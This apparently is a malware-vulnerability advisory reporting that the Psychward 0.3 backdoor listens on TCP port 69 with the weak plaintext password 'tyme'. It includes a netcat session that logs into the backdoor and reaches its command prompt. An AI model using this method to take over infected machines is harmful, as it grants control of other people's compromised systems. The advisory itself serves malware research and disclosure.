Backdoor.Win32.Psychward.03.a Weak Hardcoded Password

Backdoor.Win32.Psychward.03.a malware suffers from a weak hardcoded password vulnerability.

MD5 | f1fb75cc20a83324b7c933bb9065b448

Discovery / credits: Malvuln - (c) 2022
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Psychward.03.a
Vulnerability: Weak Hardcoded Password
Description: The malware listens in TCP port 69. The password "tyme" is weak and stored in plaintext with the executable.
Family: Psychward
Type: PE32
MD5: d069738f18957117367b8a79195a6a96
Vuln ID: MVID-2022-0548
Dropped files: winvxd.exe
Disclosure: 04/14/2022

C:\>nc64.exe x.x.x.x 69
pwd tyme tyme
psychward revised 0.3, awaiting your command

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

Related Posts